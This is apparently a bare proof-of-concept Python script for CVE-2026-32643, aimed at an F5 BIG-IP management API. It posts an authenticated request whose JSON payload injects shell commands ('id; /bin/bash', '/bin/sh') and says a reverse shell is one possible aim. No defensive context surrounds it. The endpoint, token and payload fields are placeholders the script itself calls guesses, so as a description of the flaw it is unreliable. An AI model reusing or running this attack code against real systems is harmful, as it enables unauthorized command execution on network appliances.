CVE-2026-32643

# Conceptual PoC for CVE-2026-32643 # This script demonstrates how an authenticated attacker with 'Certificate Manager' role # might trigger arbitrary command execution via configuration modification. import requests TARGET_URL = "https://<big-ip-ip>/mgmt/tm/..." TOKEN = "<authenticated_token>" # Requires valid session with high privileges headers = { "X-F5-Auth-Token": TOKEN, "Content-Type": "application/json" } # Malicious payload aiming to execute a command (e.g., creating a file or reverse shell) # The actual JSON structure depends on the vulnerable configuration object. malicious_payload = { "name": "vulnerable_config", "command": "id; /bin/bash", # Placeholder for command injection "options": { "runCmd": "/bin/sh" } } try: response = requests.post(TARGET_URL, json=malicious_payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Potential command execution triggered.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

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